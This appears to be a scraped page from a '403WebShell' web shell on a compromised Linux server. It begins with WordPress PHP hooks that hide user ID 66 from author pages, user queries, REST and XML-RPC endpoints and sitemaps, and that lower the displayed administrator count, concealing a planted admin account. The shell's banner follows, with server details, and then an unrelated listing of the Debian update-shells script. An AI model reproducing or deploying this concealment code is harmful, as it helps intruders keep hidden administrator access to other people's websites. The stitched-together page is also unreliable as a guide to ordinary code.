403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /proc/thread-self/root/sbin/

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Current File : /proc/thread-self/root/sbin/update-shells

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-or-later
# Copyright 2021 Helmut Grohne <helmut@subdivi.de>

# A "hashset" is a shell variable containing a sequence of elements separated
# and surrounded by hash (#) characters. None of the elements may contain a
# hash character. The character is thus chosen, because it initiates a comment
# in /etc/shells. All variables ending in _SHELLS in this file are hashsets.

set -e

# Check whether hashset $1 contains element $2.
hashset_contains() {
	case "$1" in
		*"#$2#"*) return 0 ;;
		*) return 1 ;;
	esac
}

log() {
	if [ "$VERBOSE" = 1 ]; then
		echo "$*"
	fi
}

ROOT=${DPKG_ROOT:-}
VERBOSE=0
NOACT=0

while [ $# -gt 0 ]; do
	case "$1" in
		--help)
			cat <<EOF
usage: $0 [options]

 --no-act    Do not move the actual update into place
 --verbose   Be more verbose
 --root DIR  Operate on the given chroot, defaults to /
EOF
			exit 0
		;;
		--no-act)
			NOACT=1
		;;
		--root)
			shift
			if [ "$#" -lt 1 ]; then
				echo "missing argument to --root" 1>&2
				exit 1
			fi
			ROOT=$1
		;;
		--verbose)
			VERBOSE=1
		;;
		*)
			echo "unrecognized option $1" 1>&2
			exit 1
		;;
	esac
	shift
done

PKG_DIR="$ROOT/usr/share/debianutils/shells.d"
STATE_FILE="$ROOT/var/lib/shells.state"
TEMPLATE_ETC_FILE="$ROOT/usr/share/debianutils/shells"
TARGET_ETC_FILE="$ROOT/etc/shells"
SOURCE_ETC_FILE="$TARGET_ETC_FILE"
NEW_ETC_FILE="$TARGET_ETC_FILE.tmp"
NEW_STATE_FILE="$STATE_FILE.tmp"

if ! test -e "$SOURCE_ETC_FILE"; then
	SOURCE_ETC_FILE="$TEMPLATE_ETC_FILE"
fi

PKG_SHELLS='#'
LC_COLLATE=C.UTF-8  # glob in reproducible order
for f in "$TEMPLATE_ETC_FILE" "$PKG_DIR/"*; do
	test -f "$f" || continue
	while IFS='#' read -r line _; do
		[ -n "$line" ] || continue
		PKG_SHELLS="$PKG_SHELLS$line#"
		realshell=$(dpkg-realpath --root "$ROOT" "$(dirname "$line")")/$(basename "$line")
		if [ "$line" != "$realshell" ]; then
			PKG_SHELLS="$PKG_SHELLS$realshell#"
		fi
	done < "$f"
done

STATE_SHELLS='#'
if [ -e "$STATE_FILE" ] ; then
	while IFS='#' read -r line _; do
		[ -n "$line" ] && STATE_SHELLS="$STATE_SHELLS$line#"
	done < "$STATE_FILE"
fi

cleanup() {
	rm -f "$NEW_ETC_FILE" "$NEW_STATE_FILE"
}
trap cleanup EXIT

: > "$NEW_ETC_FILE"
ETC_SHELLS='#'
while IFS= read -r line; do
	shell=${line%%#*}
	# copy all comment lines, packaged shells and local additions
	if [ -z "$shell" ] ||
			hashset_contains "$PKG_SHELLS" "$shell" ||
			! hashset_contains "$STATE_SHELLS" "$shell"; then
		if [ -z "$shell" ] || ! hashset_contains "$ETC_SHELLS" "$shell"; then
			echo "$line" >> "$NEW_ETC_FILE"
			ETC_SHELLS="$ETC_SHELLS$shell#"
		fi
	else
		log "removing shell $shell"
	fi
done < "$SOURCE_ETC_FILE"

: > "$NEW_STATE_FILE"
saved_IFS=$IFS
IFS='#'
set -f
# shellcheck disable=SC2086 # word splitting intended, globbing disabled
set -- ${PKG_SHELLS###}
set +f
IFS=$saved_IFS
for shell; do
	echo "$shell" >> "$NEW_STATE_FILE"
	# add shells that are neither already present nor locally removed
	if ! hashset_contains "$ETC_SHELLS" "$shell" &&
			! hashset_contains "$STATE_SHELLS" "$shell"; then
		echo "$shell" >> "$NEW_ETC_FILE"
		log "adding shell $shell"
	fi
done

if [ "$NOACT" = 0 ]; then
	if [ -e "$STATE_FILE" ]; then
		chmod --reference="${STATE_FILE}" "${NEW_STATE_FILE}" || chmod $(stat -c %a "${STATE_FILE}") "${NEW_STATE_FILE}"
		chown --reference="${STATE_FILE}" "${NEW_STATE_FILE}" || chown $(stat -c %U "${STATE_FILE}") "${NEW_STATE_FILE}"
	else
		chmod 0644 "$NEW_STATE_FILE"
	fi
	chmod --reference="${SOURCE_ETC_FILE}" "${NEW_ETC_FILE}" || chmod $(stat -c %a "${SOURCE_ETC_FILE}") "${NEW_ETC_FILE}"
	chown --reference="${SOURCE_ETC_FILE}" "${NEW_ETC_FILE}" || chown $(stat -c %U "${SOURCE_ETC_FILE}") "${NEW_ETC_FILE}"
	sync -d "$NEW_ETC_FILE" "$NEW_STATE_FILE"
	mv -Z "${NEW_ETC_FILE}" "${TARGET_ETC_FILE}" || mv "${NEW_ETC_FILE}" "${TARGET_ETC_FILE}"
	sync "$TARGET_ETC_FILE"
	sync "$(dirname "$TARGET_ETC_FILE")"
	mv "$NEW_STATE_FILE" "$STATE_FILE"
	sync "$STATE_FILE"
	sync "$(dirname "$STATE_FILE")"
	trap "" EXIT
fi

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